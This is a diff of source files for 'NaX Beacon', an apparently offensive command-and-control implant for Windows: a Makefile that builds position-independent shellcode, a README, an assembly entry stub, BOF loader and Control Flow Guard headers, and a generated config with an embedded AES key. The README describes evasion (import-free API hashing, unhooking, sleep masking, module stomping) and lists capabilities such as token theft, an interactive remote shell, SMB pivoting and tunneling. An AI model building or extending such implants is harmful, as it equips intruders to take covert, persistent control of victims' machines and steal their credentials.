C_SRCS_TRANSPORT := Http.c HttpCodec.c Smb.c PackerProfile.c Profile.c Pivot.c Tunnel.c
|
||||
endif
|
||||
|
||||
C_SRCS_FLAT := $(C_SRCS_CORE) $(C_SRCS_TRANSPORT)
|
||||
|
||||
C_OBJS := $(patsubst %.c,$(BUILD)/%.obj,$(C_SRCS_FLAT))
|
||||
|
||||
HDRS := $(wildcard include/*.h)
|
||||
STRUCT_HDRS := $(filter-out include/Config.h include/Config_profile.h include/Config_sleepmask.h,$(HDRS))
|
||||
|
||||
.PHONY: all clean link debug-exe debug-pic debug debug-link
|
||||
|
||||
all: $(OUT_BIN)
|
||||
|
||||
$(BUILD):
|
||||
mkdir -p $(BUILD)
|
||||
|
||||
$(ASM_OBJ): asm/Entry.x64.asm | $(BUILD)
|
||||
$(NASM) -f win64 $< -o $@
|
||||
|
||||
$(BUILD)/%.obj: %.c | $(BUILD)
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(OUT_EXE): $(ASM_OBJ) $(C_OBJS) Linker.ld | $(BUILD)
|
||||
$(CC) $(CFLAGS) -T Linker.ld \
|
||||
-Wl,--strip-all -Wl,--image-base,0x10000000 \
|
||||
$(ASM_OBJ) $(C_OBJS) -o $@ \
|
||||
$(LINK_LIBS)
|
||||
|
||||
OUT_PDATA := $(BUILD)/beacon.pdata.bin
|
||||
OUT_XDATA := $(BUILD)/beacon.xdata.bin
|
||||
OUT_RVA := $(BUILD)/beacon.text_rva
|
||||
|
||||
$(OUT_BIN): $(OUT_EXE)
|
||||
$(OBJCOPY) --dump-section .text=$@ $<
|
||||
$(OBJCOPY) --dump-section .pdata=$(OUT_PDATA) $< 2>/dev/null || true > $(OUT_PDATA)
|
||||
$(OBJCOPY) --dump-section .xdata=$(OUT_XDATA) $< 2>/dev/null || true > $(OUT_XDATA)
|
||||
@python3 scripts/pe_text_rva.py $< > $(OUT_RVA)
|
||||
@touch $@
|
||||
@echo " BIN $@ ($$(wc -c < $@) bytes)"
|
||||
@echo " PDATA $(OUT_PDATA) ($$(wc -c < $(OUT_PDATA)) bytes)"
|
||||
@echo " XDATA $(OUT_XDATA) ($$(wc -c < $(OUT_XDATA)) bytes)"
|
||||
@echo " TEXT_RVA $$(cat $(OUT_RVA))"
|
||||
|
||||
# link: recompile Config.obj (picks up new Config.h), then re-link.
|
||||
# If any header changed since the last full build, rebuild everything instead -
|
||||
# stale objects with wrong struct offsets cause silent runtime corruption.
|
||||
link: | $(BUILD)
|
||||
@if [ -n "$$(find $(STRUCT_HDRS) -newer $(BUILD)/Config.obj 2>/dev/null)" ] || \
|
||||
[ -n "$$(find src/ -name '*.c' -newer $(BUILD)/Config.obj 2>/dev/null)" ] || \
|
||||
[ asm/Entry.x64.asm -nt $(BUILD)/Entry.obj 2>/dev/null ]; then \
|
||||
echo " WARN sources changed - full rebuild required"; \
|
||||
$(MAKE) all; \
|
||||
else \
|
||||
$(CC) $(CFLAGS) -c src/Core/Config.c -o $(BUILD)/Config.obj; \
|
||||
$(CC) $(CFLAGS) -T Linker.ld \
|
||||
-Wl,--strip-all -Wl,--image-base,0x10000000 \
|
||||
$(ASM_OBJ) $(C_OBJS) -o $(OUT_EXE) \
|
||||
$(LINK_LIBS); \
|
||||
$(OBJCOPY) --dump-section .text=$(OUT_BIN) $(OUT_EXE); \
|
||||
$(OBJCOPY) --dump-section .pdata=$(OUT_PDATA) $(OUT_EXE) 2>/dev/null || true > $(OUT_PDATA); \
|
||||
$(OBJCOPY) --dump-section .xdata=$(OUT_XDATA) $(OUT_EXE) 2>/dev/null || true > $(OUT_XDATA); \
|
||||
python3 scripts/pe_text_rva.py $(OUT_EXE) > $(OUT_RVA); \
|
||||
echo " BIN $(OUT_BIN) ($$(wc -c < $(OUT_BIN)) bytes) [link-only]"; \
|
||||
fi
|
||||
|
||||
clean:
|
||||
rm -rf build
|
||||
|
||||
# ========= [ debug builds ] =========
|
||||
#
|
||||
# debug-exe: CRT-linked EXE whose main() calls NaxMain().
|
||||
# NaxDbgx output appears in DebugView / x64dbg "DbgPrint" log.
|
||||
# NaxDbg output appears in console and x64dbg "printf" log.
|
||||
# Run on Windows target; no loader needed.
|
||||
#
|
||||
# debug-pic: PIC shellcode extracted from .text + .rdata.
|
||||
# Load via loader.x64.exe exactly like nax.x64.bin.
|
||||
|
||||
DEBUG_CFLAGS := -g -O0 -DDEBUG \
|
||||
-mno-sse -masm=intel \
|
||||
-fno-exceptions \
|
||||
-fno-omit-frame-pointer \
|
||||
-w \
|
||||
-Iinclude
|
||||
|
||||
ifdef NAX_TRANSPORT_PROFILE
|
||||
DEBUG_CFLAGS += -DNAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE)
|
||||
endif
|
||||
|
||||
# debug: PIC shellcode with debug prints baked in - load via loader exactly like
|
||||
# the release blob. -Os kept for size; -DDEBUG_PIC guards the CRT main() stub.
|
||||
DEBUG_PIC_CFLAGS := $(DEBUG_CFLAGS) -Os -DDEBUG_PIC -fPIC -fvisibility=hidden -nostdlib \
|
||||
-ffunction-sections -falign-functions=1 \
|
||||
-fno-builtin -fno-stack-check -MMD -MP
|
||||
|
||||
DEBUG_PIC_OBJS := $(patsubst %.c,$(BUILD)/%.dpic.obj,$(C_SRCS_FLAT))
|
||||
DEBUG_PIC_EXE := $(BUILD)/beacon.x64.debug.pic.exe
|
||||
DEBUG_PIC_BIN := $(BUILD)/beacon.x64.debug.bin
|
||||
|
||||
$(BUILD)/%.dpic.obj: %.c | $(BUILD)
|
||||
$(CC) $(DEBUG_PIC_CFLAGS) -c $< -o $@
|
||||
|
||||
$(DEBUG_PIC_EXE): $(ASM_OBJ) $(DEBUG_PIC_OBJS) Linker.ld | $(BUILD)
|
||||
$(CC) $(DEBUG_PIC_CFLAGS) -T Linker.ld \
|
||||
-Wl,--image-base,0x10000000 \
|
||||
$(ASM_OBJ) $(DEBUG_PIC_OBJS) -o $@ \
|
||||
$(LINK_LIBS)
|
||||
|
||||
DEBUG_PIC_PDATA := $(BUILD)/beacon.debug.pdata.bin
|
||||
DEBUG_PIC_XDATA := $(BUILD)/beacon.debug.xdata.bin
|
||||
DEBUG_PIC_RVA := $(BUILD)/beacon.debug.text_rva
|
||||
|
||||
$(DEBUG_PIC_BIN): $(DEBUG_PIC_EXE)
|
||||
$(OBJCOPY) --dump-section .text=$@ $<
|
||||
$(OBJCOPY) --dump-section .pdata=$(DEBUG_PIC_PDATA) $< 2>/dev/null || true > $(DEBUG_PIC_PDATA)
|
||||
$(OBJCOPY) --dump-section .xdata=$(DEBUG_PIC_XDATA) $< 2>/dev/null || true > $(DEBUG_PIC_XDATA)
|
||||
@python3 scripts/pe_text_rva.py $< > $(DEBUG_PIC_RVA)
|
||||
@touch $@
|
||||
@echo " DEBUG $@ ($$(wc -c < $@) bytes)"
|
||||
@echo " PDATA $(DEBUG_PIC_PDATA) ($$(wc -c < $(DEBUG_PIC_PDATA)) bytes)"
|
||||
@echo " XDATA $(DEBUG_PIC_XDATA) ($$(wc -c < $(DEBUG_PIC_XDATA)) bytes)"
|
||||
|
||||
debug: $(DEBUG_PIC_BIN)
|
||||
|
||||
# debug-link: recompile Config.dpic.obj, then re-link debug build.
|
||||
# Falls back to full debug rebuild if headers changed since last build.
|
||||
debug-link: | $(BUILD)
|
||||
@if [ -n "$$(find $(STRUCT_HDRS) -newer $(BUILD)/Config.dpic.obj 2>/dev/null)" ] || \
|
||||
[ -n "$$(find src/ -name '*.c' -newer $(BUILD)/Config.dpic.obj 2>/dev/null)" ] || \
|
||||
[ asm/Entry.x64.asm -nt $(BUILD)/Entry.obj 2>/dev/null ]; then \
|
||||
echo " WARN sources changed - full debug rebuild required"; \
|
||||
$(MAKE) debug; \
|
||||
else \
|
||||
$(CC) $(DEBUG_PIC_CFLAGS) -c src/Core/Config.c -o $(BUILD)/Config.dpic.obj; \
|
||||
$(CC) $(DEBUG_PIC_CFLAGS) -T Linker.ld \
|
||||
-Wl,--image-base,0x10000000 \
|
||||
$(ASM_OBJ) $(DEBUG_PIC_OBJS) -o $(DEBUG_PIC_EXE) \
|
||||
$(LINK_LIBS); \
|
||||
$(OBJCOPY) --dump-section .text=$(DEBUG_PIC_BIN) $(DEBUG_PIC_EXE); \
|
||||
$(OBJCOPY) --dump-section .pdata=$(DEBUG_PIC_PDATA) $(DEBUG_PIC_EXE) 2>/dev/null || true > $(DEBUG_PIC_PDATA); \
|
||||
$(OBJCOPY) --dump-section .xdata=$(DEBUG_PIC_XDATA) $(DEBUG_PIC_EXE) 2>/dev/null || true > $(DEBUG_PIC_XDATA); \
|
||||
python3 scripts/pe_text_rva.py $(DEBUG_PIC_EXE) > $(DEBUG_PIC_RVA); \
|
||||
echo " DEBUG $(DEBUG_PIC_BIN) ($$(wc -c < $(DEBUG_PIC_BIN)) bytes) [link-only]"; \
|
||||
fi
|
||||
|
||||
# gcc auto-dependency files (-MMD -MP)
|
||||
C_DEPS := $(C_OBJS:.obj=.d)
|
||||
DEBUG_PIC_DEPS := $(DEBUG_PIC_OBJS:.obj=.d)
|
||||
-include $(C_DEPS)
|
||||
-include $(DEBUG_PIC_DEPS)
|
||||
@@ -0,0 +1,97 @@
|
||||
# NaX Beacon
|
||||
|
||||
Position-independent C2 beacon compiled as a single `.text` section shellcode blob. No CRT, no imports, no global variables -- all APIs resolved at runtime via PEB walk using FNV1a-32 hashes.
|
||||
|
||||
## How It Works
|
||||
|
||||
1. **`NaxMain()`** (Entry point, called by the UDRL loader)
|
||||
- `NaxBootstrap()` resolves ~80 APIs from ntdll, kernel32, advapi32, bcrypt, winhttp and allocates `NAX_INSTANCE` on the process heap
|
||||
- Stores the instance pointer in `TEB->ArbitraryUserPointer` for recovery via `G_INSTANCE` macro
|
||||
- Initializes BOF module stomping pool, sleepmask gate, and DLL notification unhooking
|
||||
- Dispatches to `NaxHttpMain()` or `NaxSmbMain()` based on transport mode
|
||||
|
||||
2. **Heartbeat loop** (`NaxHttpMain` / `NaxSmbMain`)
|
||||
- Sends encrypted heartbeat, receives task batch
|
||||
- Decodes tasks, calls `NaxDispatch()` for each
|
||||
- Collects async results (downloads, jobs, pivots, tunnels, shells) and sends them back
|
||||
- Sleeps with jitter between cycles
|
||||
|
||||
3. **Command dispatch** (`NaxDispatch`)
|
||||
- Maps command IDs (defined in `Wire.h`) to handler functions
|
||||
- Each handler reads args from the wire buffer and writes results into the output buffer
|
||||
- 26 built-in commands covering file I/O, process management, token ops, screenshots, BOFs, pivoting, and tunneling
|
||||
|
||||
## PIC Constraints
|
||||
|
||||
- No `.rdata` strings -- all string constants are `char[]` on the stack or `_WRITE` macros (per-byte MOVs)
|
||||
- No global/static variables -- everything lives in heap-allocated `NAX_INSTANCE`
|
||||
- No CRT functions -- `MmCopy`, `MmZero`, `MmSet` replace memcpy/memset
|
||||
- Stack buffers must stay under ~1KB; larger allocations go through `RtlAllocateHeap`
|
||||
- All cross-TU function references must be in the same compilation unit or resolved via the instance struct
|
||||
|
||||
## Source Files
|
||||
|
||||
```
|
||||
src/
|
||||
Main.c # NaxMain entry point, transport dispatch
|
||||
Core/
|
||||
Bootstrap.c # API resolution, NAX_INSTANCE allocation, sysinfo gathering
|
||||
Ldr.c # PEB walk (NaxGetModule), export walk (NaxGetProc), hashing, encoding
|
||||
Config.c # Embedded profile parsing (NaxInitConfig), runtime profile apply
|
||||
PackerProfile.c # Profile binary decoder
|
||||
Crypto.c # AES-128-CBC encrypt/decrypt via BCrypt
|
||||
Packer.c # Wire framing: encode/decode frames, build register/heartbeat/result
|
||||
Cfg.c # Control Flow Guard: query status, whitelist targets
|
||||
Helpers.c # Win32 error formatting, string helpers
|
||||
Commands/
|
||||
Dispatch.c # Command ID → handler router
|
||||
Core.c # cd, pwd, mkdir, rmdir, cat, ls, rm
|
||||
Whoami.c # Current identity (domain\user)
|
||||
Sleep.c # Set callback interval + jitter
|
||||
Ps.c # Process list, kill, run
|
||||
Screenshot.c # GDI desktop capture
|
||||
Download.c # File download (chunked)
|
||||
Downloader.c # Download state machine
|
||||
Upload.c # File upload
|
||||
MemSave.c # In-memory file storage for BOF payloads
|
||||
Profile.c # Runtime C2 profile switch
|
||||
Token.c # Token steal/impersonate/make/revert/privs
|
||||
DllNotify.c # LdrDllNotification callback removal
|
||||
Sleepmask.c # BeaconGate wrappers + NaxGateRegister swap table
|
||||
Jobs.c # Async BOF job management
|
||||
Shell.c # Interactive remote shell
|
||||
Pivot.c # SMB pivot link/unlink, child data relay
|
||||
Tunnel.c # SOCKS4/5, local/reverse port forwarding
|
||||
BofStomp.c # BOF module stomping pool configuration
|
||||
Transport/
|
||||
Http.c # WinHTTP transport (proxy-aware, persistent handles)
|
||||
HttpCodec.c # Profile-driven encoding/decoding, header/URL builders
|
||||
Smb.c # Named pipe transport for SMB pivoting
|
||||
Bof/
|
||||
Loader.c # COFF loader: parse sections, relocate, resolve imports
|
||||
Api.c # Beacon API (29 functions exposed to BOFs)
|
||||
Stomp.c # BOF module stomping: image-backed .text, IFT .pdata injection
|
||||
include/
|
||||
Instance.h # NAX_INSTANCE struct, API bundles, gate types
|
||||
Wire.h # Command IDs, message types, wire constants
|
||||
Config.h # Build-time profile/sleepmask embedding macros
|
||||
Macros.h # FUNC, G_INSTANCE, MmCopy, MmZero, NaxDbg
|
||||
Nax.h # Central forward declarations for all internal functions
|
||||
Bof.h # COFF structures, BOF_STOMP_POOL, Beacon API typedefs
|
||||
Gate.h # FUNCTION_CALL struct, GATE_API_* constants, SM_INFO
|
||||
Transport.h # Transport function prototypes
|
||||
WinApis.h # Function pointer typedefs for all resolved APIs
|
||||
Helpers.h # Helper function prototypes
|
||||
Common.h # Base types, compiler macros
|
||||
Defs.h # Hash constants (H_MODULE_*, H_FUNC_*)
|
||||
NaxConstants.h # Error codes, buffer sizes, feature flags
|
||||
```
|
||||
|
||||
## Build
|
||||
|
||||
The beacon is built as part of the top-level `make` from the repository root. It cross-compiles with `x86_64-w64-mingw32-gcc`, links with `-nostdlib`, and extracts raw `.text` via `objcopy` to produce `beacon.x64.bin`.
|
||||
|
||||
```bash
|
||||
make beacon # Beacon only
|
||||
make debug # Debug build (enables NaxDbg output)
|
||||
```
|
||||
@@ -0,0 +1,85 @@
|
||||
; beacon/asm/Entry.x64.asm
|
||||
; ASM entry point. Aligns stack, calls NaxMain, provides StartPtr/EndPtr
|
||||
; so the loader can calculate the beacon's address and size.
|
||||
; Follows the Kharon pattern (StartPtr/EndPtr) with DEFAULT REL from Stardust.
|
||||
|
||||
[BITS 64]
|
||||
DEFAULT REL
|
||||
|
||||
EXTERN NaxMain
|
||||
|
||||
GLOBAL StartPtr
|
||||
GLOBAL EndPtr
|
||||
GLOBAL ___chkstk_ms
|
||||
|
||||
[SECTION .text$A]
|
||||
; ---- entry ----
|
||||
Start:
|
||||
push rsi
|
||||
mov rsi, rsp
|
||||
and rsp, 0FFFFFFFFFFFFFFF0h
|
||||
sub rsp, 020h
|
||||
call NaxMain
|
||||
mov rsp, rsi
|
||||
pop rsi
|
||||
ret
|
||||
|
||||
; StartPtr() returns the address of Start via call/ret trick.
|
||||
; Start body:
|
||||
; push(1) + mov(3) + and(4) + sub(4) + call(5) + mov(3) + pop(1) + ret(1) = 22
|
||||
; call RetStartPtr: 5 bytes
|
||||
; ret: 1 byte <- [rsp] points here
|
||||
; Total from Start to [rsp]: 22 + 5 = 27 = 0x1b
|
||||
StartPtr:
|
||||
call RetStartPtr
|
||||
ret
|
||||
RetStartPtr:
|
||||
mov rax, [rsp]
|
||||
sub rax, 0x1b
|
||||
ret
|
||||
|
||||
; ========= [ stack probe - ___chkstk_ms ] =========
|
||||
; GCC emits mov rax, <frame_size> / call ___chkstk_ms / sub rsp, rax
|
||||
; for any function whose frame exceeds 4 KB. Without the probe, sub rsp
|
||||
; jumps over guard pages and faults on the first stack write beyond them.
|
||||
; RAX = bytes to probe (preserved on return). RCX clobbered internally.
|
||||
[SECTION .text$B]
|
||||
|
||||
___chkstk_ms:
|
||||
push rcx
|
||||
push rax
|
||||
cmp rax, 0x1000
|
||||
lea rcx, [rsp + 0x18] ; rcx = caller RSP before CALL
|
||||
jb .chkstk_done
|
||||
.chkstk_loop:
|
||||
sub rcx, 0x1000
|
||||
or dword [rcx], 0 ; touch page - triggers guard-page commit
|
||||
sub rax, 0x1000
|
||||
cmp rax, 0x1000
|
||||
ja .chkstk_loop
|
||||
.chkstk_done:
|
||||
sub rcx, rax
|
||||
or dword [rcx], 0
|
||||
pop rax
|
||||
pop rcx
|
||||
ret
|
||||
|
||||
[SECTION .text$C]
|
||||
; EndPtr() returns the address past itself - i.e., the end of the beacon blob.
|
||||
; Used by the loader to calculate beacon size: EndPtr() - StartPtr().
|
||||
; After `call RetEndPtr`, [rsp] = address of the `ret` in EndPtr (section offset 0x05).
|
||||
; Section layout:
|
||||
; 0x00 call RetEndPtr (5 bytes)
|
||||
; 0x05 ret (1 byte) <- [rsp] lands here
|
||||
; 0x06 mov rax,[rsp] (4 bytes)
|
||||
; 0x0a add rax, 0x0a (4 bytes)
|
||||
; 0x0e ret (1 byte)
|
||||
; 0x0f <- one-past-end
|
||||
; [rsp] = 0x05; 0x05 + 0x0a = 0x0f = one-past-end of section.
|
||||
EndPtr:
|
||||
call RetEndPtr
|
||||
ret
|
||||
RetEndPtr:
|
||||
mov rax, [rsp]
|
||||
add rax, 0x0a
|
||||
ret
|
||||
@@ -0,0 +1,186 @@
|
||||
/* beacon/include/Bof.h
|
||||
* COFF/BOF loader types - COFF structs, Beacon API interface, output type constants.
|
||||
* Beacon API functions (BeaconOutput, BeaconDataParse, ...) are declared here and
|
||||
* implemented in src/Bof/Api.c. The COFF loader lives in src/Bof/Loader.c. */
|
||||
|
||||
#pragma once
|
||||
#include "Macros.h"
|
||||
#include "Instance.h"
|
||||
|
||||
/* ========= [ COFF / BOF constants ] ========= */
|
||||
|
||||
#define COF_MACHINE_AMD64 0x8664
|
||||
#define COF_MACHINE_I386 0x014C
|
||||
|
||||
/* x64 relocation types */
|
||||
#define IMAGE_REL_AMD64_ADDR64 0x0001
|
||||
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
|
||||
#define IMAGE_REL_AMD64_REL32 0x0004
|
||||
#define IMAGE_REL_AMD64_REL32_1 0x0005
|
||||
#define IMAGE_REL_AMD64_REL32_2 0x0006
|
||||
#define IMAGE_REL_AMD64_REL32_3 0x0007
|
||||
#define IMAGE_REL_AMD64_REL32_4 0x0008
|
||||
#define IMAGE_REL_AMD64_REL32_5 0x0009
|
||||
|
||||
/* x86 relocation types */
|
||||
#define IMAGE_REL_I386_DIR32 0x0006
|
||||
#define IMAGE_REL_I386_REL32 0x0014
|
||||
|
||||
/* COFF symbol class */
|
||||
#define IMAGE_SYM_CLASS_EXTERNAL 0x02
|
||||
#define IMAGE_SYM_CLASS_STATIC 0x03
|
||||
|
||||
/* BeaconOutput / BeaconPrintf callback types (Cobalt Strike convention) */
|
||||
#define CALLBACK_OUTPUT 0x00
|
||||
#define CALLBACK_OUTPUT_OEM 0x1E
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0D
|
||||
|
||||
/* Adaptix-extension callback types (adaptix.h) */
|
||||
#define CALLBACK_AX_SCREENSHOT 0x81
|
||||
#define CALLBACK_AX_DOWNLOAD_MEM 0x82
|
||||
|
||||
/* BOF loader error codes written to BofCtx output on failure */
|
||||
#define BOF_ERROR_PARSE 0x101 /* malformed COFF */
|
||||
#define BOF_ERROR_SYMBOL 0x102 /* unresolved external symbol */
|
||||
#define BOF_ERROR_ENTRY 0x104 /* 'go' entry not found */
|
||||
#define BOF_ERROR_ALLOC 0x105 /* section allocation failed */
|
||||
|
||||
#define BOF_MAX_SECTIONS 16 /* hard cap on sections per BOF */
|
||||
#define BOF_OUTPUT_CAP 8192 /* heap output buffer capacity */
|
||||
|
||||
/* NtCurrentProcess() / NtCurrentThread() are provided by ntdll.h via Instance.h */
|
||||
|
||||
/* ========= [ COFF structures ] ========= */
|
||||
|
||||
#pragma pack(push, 1)
|
||||
|
||||
typedef struct _COF_HEADER {
|
||||
UINT16 Machine;
|
||||
UINT16 NumberOfSections;
|
||||
UINT32 TimeDateStamp;
|
||||
UINT32 PointerToSymbolTable;
|
||||
UINT32 NumberOfSymbols;
|
||||
UINT16 SizeOfOptionalHeader;
|
||||
UINT16 Characteristics;
|
||||
} COF_HEADER, *PCOF_HEADER;
|
||||
|
||||
typedef struct _COF_SECTION {
|
||||
CHAR Name[8];
|
||||
UINT32 VirtualSize;
|
||||
UINT32 VirtualAddress;
|
||||
UINT32 SizeOfRawData;
|
||||
UINT32 PointerToRawData;
|
||||
UINT32 PointerToRelocations;
|
||||
UINT32 PointerToLineNumbers;
|
||||
UINT16 NumberOfRelocations;
|
||||
UINT16 NumberOfLinenumbers;
|
||||
UINT32 Characteristics;
|
||||
} COF_SECTION, *PCOF_SECTION;
|
||||
|
||||
typedef struct _COF_SYMBOL {
|
||||
union {
|
||||
CHAR cName[8];
|
||||
struct { UINT32 Short; UINT32 Long; } Name;
|
||||
};
|
||||
UINT32 Value;
|
||||
INT16 SectionNumber;
|
||||
UINT16 Type;
|
||||
BYTE StorageClass;
|
||||
BYTE NumberOfAuxSymbols;
|
||||
} COF_SYMBOL, *PCOF_SYMBOL;
|
||||
|
||||
typedef struct _COF_RELOCATION {
|
||||
UINT32 VirtualAddress;
|
||||
UINT32 SymbolTableIndex;
|
||||
UINT16 Type;
|
||||
} COF_RELOCATION, *PCOF_RELOCATION;
|
||||
|
||||
/* x64 runtime function entry (one per function in .pdata) */
|
||||
typedef struct _BOF_RUNTIME_FUNCTION {
|
||||
UINT32 BeginAddress;
|
||||
UINT32 EndAddress;
|
||||
UINT32 UnwindInfoAddress;
|
||||
} BOF_RUNTIME_FUNCTION;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
/* ========= [ Beacon API data structures ] ========= */
|
||||
|
||||
/* Standard BOF argument parser state - stack-allocated by the BOF's go() */
|
||||
typedef struct {
|
||||
CHAR* original;
|
||||
CHAR* buffer;
|
||||
INT length;
|
||||
INT size;
|
||||
} datap;
|
||||
|
||||
/* Format accumulator - heap-allocated via BeaconFormatAlloc */
|
||||
typedef struct {
|
||||
CHAR* original;
|
||||
CHAR* buffer;
|
||||
INT length;
|
||||
INT size;
|
||||
} formatp;
|
||||
|
||||
/* ========= [ Beacon API table ] ========= */
|
||||
|
||||
typedef struct {
|
||||
UINT32 Hash; /* FNV1a-32 of function name (no __imp_ prefix) */
|
||||
PVOID Proc; /* pointer to our implementation */
|
||||
} NAX_BOF_API;
|
||||
|
||||
#define NAX_BOF_API_COUNT 29 /* 15 original + 6 beacon.h + 2 adaptix.h + 4 Win32 proxy + 2 async BOF */
|
||||
|
||||
/* ========= [ Beacon API declarations ] ========= */
|
||||
/* Full contract: beacon.h (CS 4.x compatible).
|
||||
* We implement the functions below; everything else in beacon.h is stubbed. */
|
||||
|
||||
/* Data parsing */
|
||||
FUNC VOID BeaconDataParse( datap* parser, CHAR* buffer, INT size );
|
||||
FUNC CHAR* BeaconDataPtr( datap* parser, INT size );
|
||||
FUNC INT BeaconDataInt( datap* parser );
|
||||
FUNC SHORT BeaconDataShort( datap* parser );
|
||||
FUNC INT BeaconDataLength( datap* parser );
|
||||
FUNC CHAR* BeaconDataExtract( datap* parser, INT* size );
|
||||
|
||||
/* Output */
|
||||
FUNC VOID BeaconOutput( INT type, const CHAR* data, INT len );
|
||||
FUNC VOID BeaconPrintf( INT type, const CHAR* fmt, ... );
|
||||
|
||||
/* Token / utility stubs */
|
||||
FUNC BOOL BeaconUseToken( HANDLE token );
|
||||
FUNC VOID BeaconRevertToken( VOID );
|
||||
FUNC BOOL BeaconIsAdmin( VOID );
|
||||
FUNC VOID BeaconGetSpawnTo( BOOL x86, CHAR* buffer, INT length );
|
||||
FUNC BOOL BeaconInformation( PVOID info );
|
||||
FUNC BOOL toWideChar( CHAR* src, WCHAR* dst, INT max );
|
||||
|
||||
/* Format buffer */
|
||||
FUNC VOID BeaconFormatAlloc( formatp* format, INT maxsz );
|
||||
FUNC VOID BeaconFormatReset( formatp* format );
|
||||
FUNC VOID BeaconFormatFree( formatp* format );
|
||||
FUNC VOID BeaconFormatAppend( formatp* format, CHAR* text, INT len );
|
||||
FUNC VOID BeaconFormatPrintf( formatp* format, CHAR* fmt, ... );
|
||||
FUNC CHAR* BeaconFormatToString( formatp* format, INT* size );
|
||||
FUNC VOID BeaconFormatInt( formatp* format, INT value );
|
||||
|
||||
/* Adaptix-extension BOF callbacks (adaptix.h compatible) */
|
||||
FUNC VOID AxAddScreenshot( CHAR* note, CHAR* data, INT len );
|
||||
FUNC VOID AxDownloadMemory( CHAR* filename, CHAR* data, INT len );
|
||||
|
||||
/* Async BOF APIs */
|
||||
FUNC VOID BeaconWakeup( VOID );
|
||||
FUNC HANDLE BeaconGetStopJobEvent( VOID );
|
||||
|
||||
/* ========= [ loader entry point ] ========= */
|
||||
|
||||
FUNC INT NaxBofExecute( PNAX_INSTANCE Nax,
|
||||
PBYTE bof, UINT32 bof_size,
|
||||
PBYTE user_args, UINT32 user_args_size );
|
||||
|
||||
FUNC PVOID NaxBofLoadResident( PNAX_INSTANCE Nax,
|
||||
PBYTE bof, UINT32 bof_size,
|
||||
PCHAR sym_name );
|
||||
|
||||
FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax );
|
||||
@@ -0,0 +1,26 @@
|
||||
/* beacon/include/Cfg.h
|
||||
* Control Flow Guard types and constants. */
|
||||
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/* ProcessControlFlowGuardPolicy = 7 (PROCESS_MITIGATION_POLICY enum) */
|
||||
#define NAX_POLICY_CFG 7
|
||||
|
||||
typedef struct {
|
||||
union {
|
||||
DWORD Flags;
|
||||
struct {
|
||||
DWORD EnableControlFlowGuard : 1;
|
||||
DWORD EnableExportSuppression : 1;
|
||||
DWORD StrictMode : 1;
|
||||
DWORD EnableXfg : 1;
|
||||
DWORD EnableXfgAuditMode : 1;
|
||||
DWORD ReservedFlags : 27;
|
||||
};
|
||||
};
|
||||
} NAX_CFG_POLICY;
|
||||
|
||||
#ifndef CFG_CALL_TARGET_VALID
|
||||
#define CFG_CALL_TARGET_VALID 0x00000001
|
||||
#endif
|
||||
@@ -0,0 +1,15 @@
|
||||
#define MAX_FILE_SIZE 2048
|
||||
#define MAX_PATH_SIZE 512
|
||||
|
||||
/* NaxWriteWin32Err - write TEB->LastErrorValue as 4-byte LE into the result
|
||||
* buffer so the server can display a meaningful Win32 error name.
|
||||
* Must be called BEFORE any subsequent API that could overwrite LastError. */
|
||||
#define NaxWriteWin32Err( out_ptr, out_len_ptr ) do { \
|
||||
DWORD _e = NaxCurrentTeb()->LastErrorValue; \
|
||||
PBYTE _p = (PBYTE)(out_ptr); \
|
||||
_p[0] = (BYTE)( _e & 0xFF ); \
|
||||
_p[1] = (BYTE)( (_e >> 8) & 0xFF ); \
|
||||
_p[2] = (BYTE)( (_e >> 16) & 0xFF ); \
|
||||
_p[3] = (BYTE)( (_e >> 24) & 0xFF ); \
|
||||
*(out_len_ptr) = 4; \
|
||||
} while(0)
|
||||
@@ -0,0 +1,72 @@
|
||||
/* Config.h - generated by BuildPayload (SMB)
|
||||
*
|
||||
* Pipe: naxsmb
|
||||
* AES Key: ea92316cf0f2aa1460625e97baa02d9c
|
||||
* Sleep: 0 ms Jitter: 0%
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#define NAX_SLEEP_MS 0u
|
||||
#define NAX_JITTER_PCT 0u
|
||||
#define NAX_SID_LEN 17u
|
||||
#define NAX_WATERMARK 0xA04A4178u
|
||||
#define NAX_LISTENER_WM 0x69E1EB44u
|
||||
|
||||
#define NAX_GATE_WAITFORSINGLEOBJECT
|
||||
#define NAX_GATE_WAITFORMULTIPLEOBJECTS
|
||||
|
||||
#define NAX_AES_KEY_WRITE( p ) do { \
|
||||
(p)[ 0]=0xEA; (p)[ 1]=0x92; (p)[ 2]=0x31; (p)[ 3]=0x6C; (p)[ 4]=0xF0; (p)[ 5]=0xF2; (p)[ 6]=0xAA; (p)[ 7]=0x14; \
|
||||
(p)[ 8]=0x60; (p)[ 9]=0x62; (p)[10]=0x5E; (p)[11]=0x97; (p)[12]=0xBA; (p)[13]=0xA0; (p)[14]=0x2D; (p)[15]=0x9C; \
|
||||
} while(0)
|
||||
|
||||
#define NAX_C2_URL_WRITE( p ) do { \
|
||||
(p)[ 0]='n'; (p)[ 1]='a'; (p)[ 2]='x'; (p)[ 3]='s'; (p)[ 4]='m'; (p)[ 5]='b'; \
|
||||
(p)[ 6]='\0'; \
|
||||
} while(0)
|
||||
|
||||
|
||||
/* ---- sleep obfuscation defaults ---- */
|
||||
#define NAX_DEFAULT_SLEEP_OBF 0
|
||||
|
||||
/* ---- BOF module stomping ---- */
|
||||
#define NAX_BOF_STOMP 1
|
||||
|
||||
#define NAX_BOF_SYNC_DLL_WRITE( p ) do { \
|
||||
(p)[ 0]=L'c'; (p)[ 1]=L'h'; (p)[ 2]=L'a'; (p)[ 3]=L'k'; \
|
||||
(p)[ 4]=L'r'; (p)[ 5]=L'a'; (p)[ 6]=L'.'; (p)[ 7]=L'd'; \
|
||||
(p)[ 8]=L'l'; (p)[ 9]=L'l'; \
|
||||
(p)[10]=L'\0'; \
|
||||
} while(0)
|
||||
|
||||
#define NAX_BOF_ASYNC_COUNT 2
|
||||
|
||||
#define NAX_BOF_ASYNC_0_WRITE( p ) do { \
|
||||
(p)[ 0]=L'j'; (p)[ 1]=L's'; (p)[ 2]=L'c'; (p)[ 3]=L'r'; \
|
